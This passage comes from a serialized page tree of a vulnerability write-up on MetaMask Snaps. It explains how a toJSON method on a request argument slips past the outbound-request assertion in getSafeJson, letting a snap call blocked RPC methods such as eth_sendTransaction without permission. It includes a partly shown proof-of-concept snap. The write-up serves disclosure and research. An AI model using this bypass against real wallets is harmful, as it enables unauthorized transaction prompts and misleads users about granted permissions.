args",{"type":23,"tag":134,"props":38018,"children":38019},{"style":179},[38020],{"type":28,"value":720},{"type":23,"tag":134,"props":38022,"children":38023},{"style":162},[38024],{"type":28,"value":37811},{"type":23,"tag":134,"props":38026,"children":38027},{"style":179},[38028],{"type":28,"value":687},{"type":23,"tag":134,"props":38030,"children":38031},{"class":136,"line":797},[38032],{"type":23,"tag":134,"props":38033,"children":38034},{"style":179},[38035],{"type":28,"value":36697},{"type":23,"tag":134,"props":38037,"children":38038},{"class":136,"line":814},[38039],{"type":23,"tag":134,"props":38040,"children":38041},{"style":179},[38042],{"type":28,"value":38043},"    }),\n",{"type":23,"tag":134,"props":38045,"children":38046},{"class":136,"line":827},[38047],{"type":23,"tag":134,"props":38048,"children":38049},{"style":179},[38050],{"type":28,"value":37910},{"type":23,"tag":134,"props":38052,"children":38053},{"class":136,"line":836},[38054,38059,38063,38067,38071,38076,38080,38085],{"type":23,"tag":134,"props":38055,"children":38056},{"style":264},[38057],{"type":28,"value":38058},"  assertStruct",{"type":23,"tag":134,"props":38060,"children":38061},{"style":179},[38062],{"type":28,"value":272},{"type":23,"tag":134,"props":38064,"children":38065},{"style":162},[38066],{"type":28,"value":37726},{"type":23,"tag":134,"props":38068,"children":38069},{"style":179},[38070],{"type":28,"value":242},{"type":23,"tag":134,"props":38072,"children":38073},{"style":162},[38074],{"type":28,"value":38075},"JsonStruct",{"type":23,"tag":134,"props":38077,"children":38078},{"style":179},[38079],{"type":28,"value":242},{"type":23,"tag":134,"props":38081,"children":38082},{"style":1461},[38083],{"type":28,"value":38084},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":134,"props":38086,"children":38087},{"style":179},[38088],{"type":28,"value":1021},{"type":23,"tag":134,"props":38090,"children":38091},{"class":136,"line":859},[38092],{"type":23,"tag":134,"props":38093,"children":38094},{"style":179},[38095],{"type":28,"value":1098},{"type":23,"tag":24,"props":38097,"children":38098},{},[38099,38101,38106,38108,38114,38115,38121],{"type":28,"value":38100},"This function is called by the ",{"type":23,"tag":92,"props":38102,"children":38104},{"className":38103},[],[38105],{"type":28,"value":37676},{"type":28,"value":38107}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":92,"props":38109,"children":38111},{"className":38110},[],[38112],{"type":28,"value":38113},"wallet_",{"type":28,"value":12601},{"type":23,"tag":92,"props":38116,"children":38118},{"className":38117},[],[38119],{"type":28,"value":38120},"snap_",{"type":28,"value":38122},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":24,"props":38124,"children":38125},{},[38126,38128,38133,38135,38140,38142,38148],{"type":28,"value":38127},"On the other hand, the ",{"type":23,"tag":92,"props":38129,"children":38131},{"className":38130},[],[38132],{"type":28,"value":30912},{"type":28,"value":38134}," provider only blocks methods starting with ",{"type":23,"tag":92,"props":38136,"children":38138},{"className":38137},[],[38139],{"type":28,"value":38120},{"type":28,"value":38141}," and the blocked methods. However, it requires the ",{"type":23,"tag":92,"props":38143,"children":38145},{"className":38144},[],[38146],{"type":28,"value":38147},"endowment:ethereum-provider",{"type":28,"value":38149}," permission in the snap manifest.",{"type":23,"tag":18368,"props":38151,"children":38153},{"id":38152},"execution-flow",[38154],{"type":28,"value":38155},"Execution flow",{"type":23,"tag":24,"props":38157,"children":38158},{},[38159,38161,38166,38167,38172,38174,38179,38180,38186],{"type":28,"value":38160},"Both providers (",{"type":23,"tag":92,"props":38162,"children":38164},{"className":38163},[],[38165],{"type":28,"value":37676},{"type":28,"value":10458},{"type":23,"tag":92,"props":38168,"children":38170},{"className":38169},[],[38171],{"type":28,"value":30912},{"type":28,"value":38173},") are built outside the SES container with a ",{"type":23,"tag":92,"props":38175,"children":38177},{"className":38176},[],[38178],{"type":28,"value":30988},{"type":28,"value":5915},{"type":23,"tag":31,"props":38181,"children":38184},{"href":38182,"rel":38183},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[35],[38185],{"type":28,"value":30872},{"type":28,"value":1697},{"type":23,"tag":87,"props":38188,"children":38190},{"className":35428,"code":38189,"language":35430,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[38191],{"type":23,"tag":92,"props":38192,"children":38193},{"__ignoreMap":7},[38194,38241,38266,38299,38334,38346,38366,38404,38424,38431,38448,38481,38488],{"type":23,"tag":134,"props":38195,"children":38196},{"class":136,"line":137},[38197,38201,38205,38209,38213,38217,38221,38225,38229,38233,38237],{"type":23,"tag":134,"props":38198,"children":38199},{"style":151},[38200],{"type":28,"value":35686},{"type":23,"tag":134,"props":38202,"children":38203},{"style":264},[38204],{"type":28,"value":30877},{"type":23,"tag":134,"props":38206,"children":38207},{"style":168},[38208],{"type":28,"value":171},{"type":23,"tag":134,"props":38210,"children":38211},{"style":151},[38212],{"type":28,"value":35863},{"type":23,"tag":134,"props":38214,"children":38215},{"style":179},[38216],{"type":28,"value":232},{"type":23,"tag":134,"props":38218,"children":38219},{"style":162},[38220],{"type":28,"value":37726},{"type":23,"tag":134,"props":38222,"children":38223},{"style":168},[38224],{"type":28,"value":1697},{"type":23,"tag":134,"props":38226,"children":38227},{"style":597},[38228],{"type":28,"value":37735},{"type":23,"tag":134,"props":38230,"children":38231},{"style":179},[38232],{"type":28,"value":252},{"type":23,"tag":134,"props":38234,"children":38235},{"style":151},[38236],{"type":28,"value":14290},{"type":23,"tag":134,"props":38238,"children":38239},{"style":179},[38240],{"type":28,"value":463},{"type":23,"tag":134,"props":38242,"children":38243},{"class":136,"line":147},[38244,38249,38253,38257,38261],{"type":23,"tag":134,"props":38245,"children":38246},{"style":264},[38247],{"type":28,"value":38248},"      assertSnapOutboundRequest",{"type":23,"tag":134,"props":38250,"children":38251},{"style":179},[38252],{"type":28,"value":272},{"type":23,"tag":134,"props":38254,"children":38255},{"style":162},[38256],{"type":28,"value":37726},{"type":23,"tag":134,"props":38258,"children":38259},{"style":179},[38260],{"type":28,"value":27845},{"type":23,"tag":134,"props":38262,"children":38263},{"style":141},[38264],{"type":28,"value":38265},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":134,"props":38267,"children":38268},{"class":136,"line":185},[38269,38273,38278,38282,38287,38291,38295],{"type":23,"tag":134,"props":38270,"children":38271},{"style":151},[38272],{"type":28,"value":31042},{"type":23,"tag":134,"props":38274,"children":38275},{"style":162},[38276],{"type":28,"value":38277}," sanitizedArgs",{"type":23,"tag":134,"props":38279,"children":38280},{"style":168},[38281],{"type":28,"value":171},{"type":23,"tag":134,"props":38283,"children":38284},{"style":264},[38285],{"type":28,"value":38286}," getSafeJson",{"type":23,"tag":134,"props":38288,"children":38289},{"style":179},[38290],{"type":28,"value":272},{"type":23,"tag":134,"props":38292,"children":38293},{"style":162},[38294],{"type":28,"value":37726},{"type":23,"tag":134,"props":38296,"children":38297},{"style":179},[38298],{"type":28,"value":1021},{"type":23,"tag":134,"props":38300,"children":38301},{"class":136,"line":221},[38302,38307,38311,38316,38320,38324,38329],{"type":23,"tag":134,"props":38303,"children":38304},{"style":151},[38305],{"type":28,"value":38306},"      this",{"type":23,"tag":134,"props":38308,"children":38309},{"style":179},[38310],{"type":28,"value":720},{"type":23,"tag":134,"props":38312,"children":38313},{"style":264},[38314],{"type":28,"value":38315},"notify",{"type":23,"tag":134,"props":38317,"children":38318},{"style":179},[38319],{"type":28,"value":30993},{"type":23,"tag":134,"props":38321,"children":38322},{"style":162},[38323],{"type":28,"value":30998},{"type":23,"tag":134,"props":38325,"children":38326},{"style":1461},[38327],{"type":28,"value":38328}," 'OutboundRequest'",{"type":23,"tag":134,"props":38330,"children":38331},{"style":179},[38332],{"type":28,"value":38333}," });\n",{"type":23,"tag":134,"props":38335,"children":38336},{"class":136,"line":332},[38337,38342],{"type":23,"tag":134,"props":38338,"children":38339},{"style":189},[38340],{"type":28,"value":38341},"      try",{"type":23,"tag":134,"props":38343,"children":38344},{"style":179},[38345],{"type":28,"value":463},{"type":23,"tag":134,"props":38347,"children":38348},{"class":136,"line":438},[38349,38353,38357,38362],{"type":23,"tag":134,"props":38350,"children":38351},{"style":189},[38352],{"type":28,"value":15214},{"type":23,"tag":134,"props":38354,"children":38355},{"style":189},[38356],{"type":28,"value":35709},{"type":23,"tag":134,"props":38358,"children":38359},{"style":264},[38360],{"type":28,"value":38361}," withTeardown",{"type":23,"tag":134,"props":38363,"children":38364},{"style":179},[38365],{"type":28,"value":642},{"type":23,"tag":134,"props":38367,"children":38368},{"class":136,"line":466},[38369,38374,38378,38383,38387,38392,38396,38400],{"type":23,"tag":134,"props":38370,"children":38371},{"style":264},[38372],{"type":28,"value":38373},"          originalRequest",{"type":23,"tag":134,"props":38375,"children":38376},{"style":179},[38377],{"type":28,"value":272},{"type":23,"tag":134,"props":38379,"children":38380},{"style":162},[38381],{"type":28,"value":38382},"sanitizedArgs",{"type":23,"tag":134,"props":38384,"children":38385},{"style":189},[38386],{"type":28,"value":8288},{"type":23,"tag":134,"props":38388,"children":38389},{"style":597},[38390],{"type":28,"value":38391}," unknown",{"type":23,"tag":134,"props":38393,"children":38394},{"style":189},[38395],{"type":28,"value":8288},{"type":23,"tag":134,"props":38397,"children":38398},{"style":597},[38399],{"type":28,"value":37735},{"type":23,"tag":134,"props":38401,"children":38402},{"style":179},[38403],{"type":28,"value":6194},{"type":23,"tag":134,"props":38405,"children":38406},{"class":136,"line":479},[38407,38412,38416,38420],{"type":23,"tag":134,"props":38408,"children":38409},{"style":151},[38410],{"type":28,"value":38411},"          this",{"type":23,"tag":134,"props":38413,"children":38414},{"style":189},[38415],{"type":28,"value":8288},{"type":23,"tag":134,"props":38417,"children":38418},{"style":597},[38419],{"type":28,"value":9823},{"type":23,"tag":134,"props":38421,"children":38422},{"style":179},[38423],{"type":28,"value":687},{"type":23,"tag":134,"props":38425,"children":38426},{"class":136,"line":497},[38427],{"type":23,"tag":134,"props":38428,"children":38429},{"style":179},[38430],{"type":28,"value":7202},{"type":23,"tag":134,"props":38432,"children":38433},{"class":136,"line":518},[38434,38439,38444],{"type":23,"tag":134,"props":38435,"children":38436},{"style":179},[38437],{"type":28,"value":38438},"      } ",{"type":23,"tag":134,"props":38440,"children":38441},{"style":189},[38442],{"type":28,"value":38443},"finally",{"type":23,"tag":134,"props":38445,"children":38446},{"style":179},[38447],{"type":28,"value":463},{"type":23,"tag":134,"props":38449,"children":38450},{"class":136,"line":527},[38451,38456,38460,38464,38468,38472,38477],{"type":23,"tag":134,"props":38452,"children":38453},{"style":151},[38454],{"type":28,"value":38455},"        this",{"type":23,"tag":134,"props":38457,"children":38458},{"style":179},[38459],{"type":28,"value":720},{"type":23,"tag":134,"props":38461,"children":38462},{"style":264},[38463],{"type":28,"value":38315},{"type":23,"tag":134,"props":38465,"children":38466},{"style":179},[38467],{"type":28,"value":30993},{"type":23,"tag":134,"props":38469,"children":38470},{"style":162},[38471],{"type":28,"value":30998},{"type":23,"tag":134,"props":38473,"children":38474},{"style":1461},[38475],{"type":28,"value":38476}," 'OutboundResponse'",{"type":23,"tag":134,"props":38478,"children":38479},{"style":179},[38480],{"type":28,"value":38333},{"type":23,"tag":134,"props":38482,"children":38483},{"class":136,"line":780},[38484],{"type":23,"tag":134,"props":38485,"children":38486},{"style":179},[38487],{"type":28,"value":12131},{"type":23,"tag":134,"props":38489,"children":38490},{"class":136,"line":797},[38491],{"type":23,"tag":134,"props":38492,"children":38493},{"style":179},[38494],{"type":28,"value":38495},"    };\n",{"type":23,"tag":24,"props":38497,"children":38498},{},[38499,38501,38506,38508,38513],{"type":28,"value":38500},"In particular, this function is from the ",{"type":23,"tag":92,"props":38502,"children":38504},{"className":38503},[],[38505],{"type":28,"value":37676},{"type":28,"value":38507}," provider, but the only thing that changes between this and ",{"type":23,"tag":92,"props":38509,"children":38511},{"className":38510},[],[38512],{"type":28,"value":30912},{"type":28,"value":38514}," is the assert function in the first line.",{"type":23,"tag":24,"props":38516,"children":38517},{},[38518],{"type":28,"value":38519},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":4890,"props":38521,"children":38522},{},[38523,38535,38540],{"type":23,"tag":4894,"props":38524,"children":38525},{},[38526,38528,38533],{"type":28,"value":38527},"Assert if ",{"type":23,"tag":92,"props":38529,"children":38531},{"className":38530},[],[38532],{"type":28,"value":37726},{"type":28,"value":38534}," are valid",{"type":23,"tag":4894,"props":38536,"children":38537},{},[38538],{"type":28,"value":38539},"getSafeJson to get sanitizedArgs",{"type":23,"tag":4894,"props":38541,"children":38542},{},[38543],{"type":28,"value":38544},"originalRequest(sanitizedArgs)",{"type":23,"tag":24,"props":38546,"children":38547},{},[38548,38550,38556],{"type":28,"value":38549},"Obs: ",{"type":23,"tag":92,"props":38551,"children":38553},{"className":38552},[],[38554],{"type":28,"value":38555},"originalRequest",{"type":28,"value":38557}," makes the RPC call to metamask service worker",{"type":23,"tag":9072,"props":38559,"children":38561},{"id":38560},"safe-json-exploit",[38562],{"type":28,"value":38563},"Safe JSON Exploit",{"type":23,"tag":24,"props":38565,"children":38566},{},[38567,38569,38575,38577,38582,38584,38590],{"type":28,"value":38568},"As we dug further into the",{"type":23,"tag":92,"props":38570,"children":38572},{"className":38571},[],[38573],{"type":28,"value":38574},"getSafeJson",{"type":28,"value":38576}," function (defined in ",{"type":23,"tag":92,"props":38578,"children":38580},{"className":38579},[],[38581],{"type":28,"value":36794},{"type":28,"value":38583}," package) we discovered the following ",{"type":23,"tag":31,"props":38585,"children":38588},{"href":38586,"rel":38587},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[35],[38589],{"type":28,"value":92},{"type":28,"value":1697},{"type":23,"tag":87,"props":38592,"children":38594},{"className":35111,"code":38593,"language":35113,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[38595],{"type":23,"tag":92,"props":38596,"children":38597},{"__ignoreMap":7},[38598,38663,38690,38715,38770,38778,38825,38841,38848,38865,38872,38879],{"type":23,"tag":134,"props":38599,"children":38600},{"class":136,"line":137},[38601,38605,38610,38615,38619,38624,38628,38633,38637,38641,38646,38651,38655,38659],{"type":23,"tag":134,"props":38602,"children":38603},{"style":189},[38604],{"type":28,"value":37707},{"type":23,"tag":134,"props":38606,"children":38607},{"style":151},[38608],{"type":28,"value":38609}," const",{"type":23,"tag":134,"props":38611,"children":38612},{"style":162},[38613],{"type":28,"value":38614}," JsonStruct",{"type":23,"tag":134,"props":38616,"children":38617},{"style":168},[38618],{"type":28,"value":171},{"type":23,"tag":134,"props":38620,"children":38621},{"style":264},[38622],{"type":28,"value":38623}," coerce",{"type":23,"tag":134,"props":38625,"children":38626},{"style":179},[38627],{"type":28,"value":272},{"type":23,"tag":134,"props":38629,"children":38630},{"style":162},[38631],{"type":28,"value":38632},"UnsafeJsonStruct",{"type":23,"tag":134,"props":38634,"children":38635},{"style":179},[38636],{"type":28,"value":242},{"type":23,"tag":134,"props":38638,"children":38639},{"style":264},[38640],{"type":28,"value":16185},{"type":23,"tag":134,"props":38642,"children":38643},{"style":179},[38644],{"type":28,"value":38645},"(), (",{"type":23,"tag":134,"props":38647,"children":38648},{"style":162},[38649],{"type":28,"value":38650},"value",{"type":23,"tag":134,"props":38652,"children":38653},{"style":179},[38654],{"type":28,"value":252},{"type":23,"tag":134,"props":38656,"children":38657},{"style":151},[38658],{"type":28,"value":14290},{"type":23,"tag":134,"props":38660,"children":38661},{"style":179},[38662],{"type":28,"value":463},{"type":23,"tag":134,"props":38664,"children":38665},{"class":136,"line":147},[38666,38670,38674,38678,38682,38686],{"type":23,"tag":134,"props":38667,"children":38668},{"style":264},[38669],{"type":28,"value":38058},{"type":23,"tag":134,"props":38671,"children":38672},{"style":179},[38673],{"type":28,"value":272},{"type":23,"tag":134,"props":38675,"children":38676},{"style":162},[38677],{"type":28,"value":38650},{"type":23,"tag":134,"props":38679,"children":38680},{"style":179},[38681],{"type":28,"value":242},{"type":23,"tag":134,"props":38683,"children":38684},{"style":162},[38685],{"type":28,"value":38632},{"type":23,"tag":134,"props":38687,"children":38688},{"style":179},[38689],{"type":28,"value":1021},{"type":23,"tag":134,"props":38691,"children":38692},{"class":136,"line":185},[38693,38698,38702,38706,38711],{"type":23,"tag":134,"props":38694,"children":38695},{"style":189},[38696],{"type":28,"value":38697},"  return",{"type":23,"tag":134,"props":38699,"children":38700},{"style":162},[38701],{"type":28,"value":37026},{"type":23,"tag":134,"props":38703,"children":38704},{"style":179},[38705],{"type":28,"value":720},{"type":23,"tag":134,"props":38707,"children":38708},{"style":264},[38709],{"type":28,"value":38710},"parse",{"type":23,"tag":134,"props":38712,"children":38713},{"style":179},[38714],{"type":28,"value":642},{"type":23,"tag":134,"props":38716,"children":38717},{"class":136,"line":221},[38718,38723,38727,38732,38736,38740,38744,38749,38753,38758,38762,38766],{"type":23,"tag":134,"props":38719,"children":38720},{"style":162},[38721],{"type":28,"value":38722},"    JSON",{"type":23,"tag":134,"props":38724,"children":38725},{"style":179},[38726],{"type":28,"value":720},{"type":23,"tag":134,"props":38728,"children":38729},{"style":264},[38730],{"type":28,"value":38731},"stringify",{"type":23,"tag":134,"props":38733,"children":38734},{"style":179},[38735],{"type":28,"value":272},{"type":23,"tag":134,"props":38737,"children":38738},{"style":162},[38739],{"type":28,"value":38650},{"type":23,"tag":134,"props":38741,"children":38742},{"style":179},[38743],{"type":28,"value":8279},{"type":23,"tag":134,"props":38745,"children":38746},{"style":162},[38747],{"type":28,"value":38748},"propKey",{"type":23,"tag":134,"props":38750,"children":38751},{"style":179},[38752],{"type":28,"value":242},{"type":23,"tag":134,"props":38754,"children":38755},{"style":162},[38756],{"type":28,"value":38757},"propValue",{"type":23,"tag":134,"props":38759,"children":38760},{"style":179},[38761],{"type":28,"value":252},{"type":23,"tag":134,"props":38763,"children":38764},{"style":151},[38765],{"type":28,"value":14290},{"type":23,"tag":134,"props":38767,"children":38768},{"style":179},[38769],{"type":28,"value":463},{"type":23,"tag":134,"props":38771,"children":38772},{"class":136,"line":332},[38773],{"type":23,"tag":134,"props":38774,"children":38775},{"style":141},[38776],{"type":28,"value":38777},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":134,"props":38779,"children":38780},{"class":136,"line":438},[38781,38786,38790,38794,38798,38803,38807,38812,38816,38821],{"type":23,"tag":134,"props":38782,"children":38783},{"style":189},[38784],{"type":28,"value":38785},"      if",{"type":23,"tag":134,"props":38787,"children":38788},{"style":179},[38789],{"type":28,"value":232},{"type":23,"tag":134,"props":38791,"children":38792},{"style":162},[38793],{"type":28,"value":38748},{"type":23,"tag":134,"props":38795,"children":38796},{"style":168},[38797],{"type":28,"value":30917},{"type":23,"tag":134,"props":38799,"children":38800},{"style":1461},[38801],{"type":28,"value":38802}," '__proto__'",{"type":23,"tag":134,"props":38804,"children":38805},{"style":168},[38806],{"type":28,"value":23187},{"type":23,"tag":134,"props":38808,"children":38809},{"style":162},[38810],{"type":28,"value":38811}," propKey",{"type":23,"tag":134,"props":38813,"children":38814},{"style":168},[38815],{"type":28,"value":30917},{"type":23,"tag":134,"props":38817,"children":38818},{"style":1461},[38819],{"type":28,"value":38820}," 'constructor'",{"type":23,"tag":134,"props":38822,"children":38823},{"style":179},[38824],{"type":28,"value":14272},{"type":23,"tag":134,"props":38826,"children":38827},{"class":136,"line":466},[38828,38832,38837],{"type":23,"tag":134,"props":38829,"children":38830},{"style":189},[38831],{"type":28,"value":15214},{"type":23,"tag":134,"props":38833,"children":38834},{"style":151},[38835],{"type":28,"value":38836}," undefined",{"type":23,"tag":134,"props":38838,"children":38839},{"style":179},[38840],{"type":28,"value":182},{"type":23,"tag":134,"props":38842,"children":38843},{"class":136,"line":479},[38844],{"type":23,"tag":134,"props":38845,"children":38846},{"style":179},[38847],{"type":28,"value":12131},{"type":23,"tag":134,"props":38849,"children":38850},{"class":136,"line":497},[38851,38856,38861],{"type":23,"tag":134,"props":38852,"children":38853},{"style":189},[38854],{"type":28,"value":38855},"      return",{"type":23,"tag":134,"props":38857,"children":38858},{"style":162},[38859],{"type":28,"value":38860}," propValue",{"type":23,"tag":134,"props":38862,"children":38863},{"style":179},[38864],{"type":28,"value":182},{"type":23,"tag":134,"props":38866,"children":38867},{"class":136,"line":518},[38868],{"type":23,"tag":134,"props":38869,"children":38870},{"style":179},[38871],{"type":28,"value":38043},{"type":23,"tag":134,"props":38873,"children":38874},{"class":136,"line":527},[38875],{"type":23,"tag":134,"props":38876,"children":38877},{"style":179},[38878],{"type":28,"value":37910},{"type":23,"tag":134,"props":38880,"children":38881},{"class":136,"line":780},[38882],{"type":23,"tag":134,"props":38883,"children":38884},{"style":179},[38885],{"type":28,"value":34835},{"type":23,"tag":24,"props":38887,"children":38888},{},[38889,38891,38897,38899,38904,38906,38912,38914,38920],{"type":28,"value":38890},"The function performs a ",{"type":23,"tag":92,"props":38892,"children":38894},{"className":38893},[],[38895],{"type":28,"value":38896},"JSON.parse(JSON.stringify(value))",{"type":28,"value":38898}," in the argument sent to ",{"type":23,"tag":92,"props":38900,"children":38902},{"className":38901},[],[38903],{"type":28,"value":38574},{"type":28,"value":38905},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":92,"props":38907,"children":38909},{"className":38908},[],[38910],{"type":28,"value":38911},"toJSON",{"type":28,"value":38913}," function in a legit ",{"type":23,"tag":92,"props":38915,"children":38917},{"className":38916},[],[38918],{"type":28,"value":38919},"snap.request",{"type":28,"value":38921}," argument:",{"type":23,"tag":4890,"props":38923,"children":38924},{},[38925,38930,38935],{"type":23,"tag":4894,"props":38926,"children":38927},{},[38928],{"type":28,"value":38929},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":4894,"props":38931,"children":38932},{},[38933],{"type":28,"value":38934},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":4894,"props":38936,"children":38937},{},[38938],{"type":28,"value":38939},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":24,"props":38941,"children":38942},{},[38943],{"type":28,"value":38944},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":4890,"props":38946,"children":38947},{},[38948,38953],{"type":23,"tag":4894,"props":38949,"children":38950},{},[38951],{"type":28,"value":38952},"forward blocked RPC methods",{"type":23,"tag":4894,"props":38954,"children":38955},{},[38956,38958,38963,38965,38971,38973,38978],{"type":28,"value":38957},"Making requests in ",{"type":23,"tag":92,"props":38959,"children":38961},{"className":38960},[],[38962],{"type":28,"value":38919},{"type":28,"value":38964}," that were only supposed to be done within ",{"type":23,"tag":92,"props":38966,"children":38968},{"className":38967},[],[38969],{"type":28,"value":38970},"ethereum.request",{"type":28,"value":38972}," (with ",{"type":23,"tag":92,"props":38974,"children":38976},{"className":38975},[],[38977],{"type":28,"value":38147},{"type":28,"value":38979}," enabled).",{"type":23,"tag":24,"props":38981,"children":38982},{},[38983],{"type":28,"value":38984},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":9072,"props":38986,"children":38987},{"id":5117},[38988],{"type":28,"value":5120},{"type":23,"tag":24,"props":38990,"children":38991},{},[38992],{"type":28,"value":38993},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":24,"props":38995,"children":38996},{},[38997],{"type":23,"tag":1116,"props":38998,"children":39000},{"alt":7,"src":38999},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":9072,"props":39002,"children":39004},{"id":39003},"proof-of-concept",[39005],{"type":28,"value":34326},{"type":23,"tag":24,"props":39007,"children":39008},{},[39009,39011,39016,39018,39023,39025,39031],{"type":28,"value":39010},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":92,"props":39012,"children":39014},{"className":39013},[],[39015],{"type":28,"value":38147},{"type":28,"value":39017}," permission, and used the ",{"type":23,"tag":92,"props":39019,"children":39021},{"className":39020},[],[39022],{"type":28,"value":37676},{"type":28,"value":39024}," interface to call ",{"type":23,"tag":92,"props":39026,"children":39028},{"className":39027},[],[39029],{"type":28,"value":39030},"eth_sendTransaction",{"type":28,"value":39032},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":87,"props":39034,"children":39036},{"className":35111,"code":39035,"language":35113,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[39037],{"type":23,"tag":92,"props":39038,"children":39039},{"__ignoreMap":7},[39040,39073,39080,39087,39104,39133,39140,39165,39172,39204,39215,39232,39245,39252,39259,39266,39298,39305,39312,39319,39335,39362,39369,39392,39399,39430,39441,39457,39469,39490,39505,39522,39530,39537,39544,39551,39582,39589,39596,39656,39663,39691,39708,39723,39739,39754,39766,39796,39803],{"type":23,"tag":134,"props":39041,"children":39042},{"class":136,"line":137},[39043,39047,39051,39056,39060,39064,39069],{"type":23,"tag":134,"props":39044,"children":39045},{"style":189},[39046],{"type":28,"value":18960},{"type":23,"tag":134,"props":39048,"children":39049},{"style":179},[39050],{"type":28,"value":9049},{"type":23,"tag":134,"props":39052,"children":39053},{"style":162},[39054],{"type":28,"value":39055},"OnRpcRequestHandler",{"type":23,"tag":134,"props":39057,"children":39058},{"style":179},[39059],{"type":28,"value":35700},{"type":23,"tag":134,"props":39061,"children":39062},{"style":189},[39063],{"type":28,"value":18950},{"type":23,"tag":134,"props":39065,"children":39066},{"style":1461},[39067],{"type":28,"value":39068}," '@metamask/snaps-types'",{"type":23,"tag":134,"props":39070,"children":39071},{"style":179},[39072],{"type":28,"value":182},{"type":23,"tag":134,"props":39074,"children":39075},{"class":136,"line":147},[39076],{"type":23,"tag":134,"props":39077,"children":39078},{"emptyLinePlaceholder":15},[39079],{"type":28,"value":865},{"type":23,"tag":134,"props":39081,"children":39082},{"class":136,"line":185},[39083],{"type":23,"tag":134,"props":39084,"children":39085},{"emptyLinePlaceholder":15},[39086],{"type":28,"value":865},{"type":23,"tag":134,"props":39088,"children":39089},{"class":136,"line":221},[39090,39094,39099],{"type":23,"tag":134,"props":39091,"children":39092},{"style":151},[39093],{"type":28,"value":30872},{"type":23,"tag":134,"props":39095,"children":39096},{"style":264},[39097],{"type":28,"value":39098}," jsonExploit",{"type":23,"tag":134,"props":39100,"children":39101},{"style":179},[39102],{"type":28,"value":39103},"(){\n",{"type":23,"tag":134,"props":39105,"children":39106},{"class":136,"line":332},[39107,39111,39115,39119,39124,39128],{"type":23,"tag":134,"props":39108,"children":39109},{"style":151},[39110],{"type":28,"value":7314},{"type":23,"tag":134,"props":39112,"children":39113},{"style":162},[39114],{"type":28,"value":18541},{"type":23,"tag":134,"props":39116,"children":39117},{"style":168},[39118],{"type":28,"value":171},{"type":23,"tag":134,"props":39120,"children":39121},{"style":179},[39122],{"type":28,"value":39123}," [] ",{"type":23,"tag":134,"props":39125,"children":39126},{"style":189},[39127],{"type":28,"value":8302},{"type":23,"tag":134,"props":39129,"children":39130},{"style":597},[39131],{"type":28,"value":39132}," any\n",{"type":23,"tag":134,"props":39134,"children":39135},{"class":136,"line":438},[39136],{"type":23,"tag":134,"props":39137,"children":39138},{"emptyLinePlaceholder":15},[39139],{"type":28,"value":865},{"type":23,"tag":134,"props":39141,"children":39142},{"class":136,"line":466},[39143,39148,39152,39156,39160],{"type":23,"tag":134,"props":39144,"children":39145},{"style":162},[39146],{"type":28,"value":39147},"  x",{"type":23,"tag":134,"props":39149,"children":39150},{"style":179},[39151],{"type":28,"value":720},{"type":23,"tag":134,"props":39153,"children":39154},{"style":162},[39155],{"type":28,"value":37811},{"type":23,"tag":134,"props":39157,"children":39158},{"style":168},[39159],{"type":28,"value":171},{"type":23,"tag":134,"props":39161,"children":39162},{"style":1461},[39163],{"type":28,"value":39164}," 